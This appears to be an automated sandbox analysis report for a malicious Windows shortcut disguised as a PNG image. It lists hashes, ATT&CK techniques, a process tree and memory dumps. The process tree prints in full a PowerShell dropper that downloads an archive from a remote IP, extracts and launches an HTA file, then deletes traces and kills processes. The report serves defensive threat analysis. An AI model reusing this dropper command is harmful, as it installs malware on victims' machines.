b2e7a3022632bed225763f5b5678db00032999a013bd70abcbe134c334f9a831

Analysis

max time kernel
122s
max time network
127s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
11/06/2024, 18:52

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General

Target

package1107.png.lnk
Size

3KB
MD5

1710c8b7256fa77140ac76ee970a7ffd
SHA1

2e316969780e70903d1a7c200a587c7cfacb871d
SHA256

b2e7a3022632bed225763f5b5678db00032999a013bd70abcbe134c334f9a831
SHA512

bd8e7191889061fe364b2f76cd67660c02a5984f0ff88650081303fe24e6224b35606ff7cca6cf8fdff80f334c0e3ca55b25345848016f8ac7d800d3c866c0b7

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://94.154.172.166/wvqv/ex.png

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
1972	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1972	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1972	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1736 wrote to memory of 2924	1736	cmd.exe	29
PID 1736 wrote to memory of 2924	1736	cmd.exe	29
PID 1736 wrote to memory of 2924	1736	cmd.exe	29
PID 2924 wrote to memory of 1972	2924	cmd.exe	30
PID 2924 wrote to memory of 1972	2924	cmd.exe	30
PID 2924 wrote to memory of 1972	2924	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\package1107.png.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:1736
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c powershell -command "$url='http://94.154.172.166/wvqv/ex.png';$path='C:\Users\Public\';Invoke-WebRequest -Uri $url -OutFile \"C:\Users\Admin\Downloads\ex.zip\";Expand-Archive -Path \"C:\Users\Admin\Downloads\ex.zip\" -DestinationPath $path;while($true){if(Test-Path 'C:\Users\Public\ex.hta'){Start-Process 'C:\Users\Public\ex.hta';break}else{Start-Sleep 0.5}};Remove-Item -Path \"C:\Users\Admin\Downloads\ex.zip\" -Force;taskkill /F /IM msedge.exe;taskkill /F /IM cmd.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2924
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "$url='http://94.154.172.166/wvqv/ex.png';$path='C:\Users\Public\';Invoke-WebRequest -Uri $url -OutFile \"C:\Users\Admin\Downloads\ex.zip\";Expand-Archive -Path \"C:\Users\Admin\Downloads\ex.zip\" -DestinationPath $path;while($true){if(Test-Path 'C:\Users\Public\ex.hta'){Start-Process 'C:\Users\Public\ex.hta';break}else{Start-Sleep 0.5}};Remove-Item -Path \"C:\Users\Admin\Downloads\ex.zip\" -Force;taskkill /F /IM msedge.exe;taskkill /F /IM cmd.exe"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1972

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1972-40-0x000007FEF5C5E000-0x000007FEF5C5F000-memory.dmp

Filesize
4KB

Download
memory/1972-41-0x000000001B8D0000-0x000000001BBB2000-memory.dmp

Filesize
2.9MB

Download
memory/1972-42-0x0000000000550000-0x0000000000558000-memory.dmp

Filesize
32KB

Download
memory/1972-43-0x000007FEF59A0000-0x000007FEF633D000-memory.dmp

Filesize
9.6MB

Download
memory/1972-44-0x000007FEF59A0000-0x000007FEF633D000-memory.dmp

Filesize
9.6MB

Download
memory/1972-45-0x000007FEF59A0000-0x000007FEF633D000-memory.dmp

Filesize
9.6MB

Download
memory/1972-46-0x000007FEF59A0000-0x000007FEF633D000-memory.dmp

Filesize
9.6MB

Download
memory/1972-47-0x000007FEF59A0000-0x000007FEF633D000-memory.dmp

Filesize
9.6MB

Download
memory/1972-49-0x000007FEF59A0000-0x000007FEF633D000-memory.dmp

Filesize
9.6MB

Download
memory/1972-51-0x000007FEF59A0000-0x000007FEF633D000-memory.dmp

Filesize
9.6MB

Download
memory/1972-50-0x000007FEF59A0000-0x000007FEF633D000-memory.dmp

Filesize
9.6MB

Download
memory/1972-48-0x000007FEF5C5E000-0x000007FEF5C5F000-memory.dmp

Filesize
4KB

Download
memory/1972-52-0x000007FEF59A0000-0x000007FEF633D000-memory.dmp

Filesize
9.6MB

Download